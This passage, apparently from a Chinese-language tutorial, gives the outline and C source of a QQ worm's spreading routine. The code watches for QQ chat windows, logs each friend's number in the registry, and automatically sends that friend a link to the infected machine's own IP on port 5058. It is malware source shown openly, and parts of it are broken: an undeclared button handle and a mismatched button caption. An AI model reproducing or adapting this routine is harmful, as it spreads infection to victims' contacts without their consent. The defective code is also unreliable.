2) 等待出现“发送消息”窗口。
3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发
送过,如果是,则转1),不是则发送,并在注册表中登记。
4) 获得文本区句柄,设置新的消息。
5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software//QQNums//";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"发送消息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}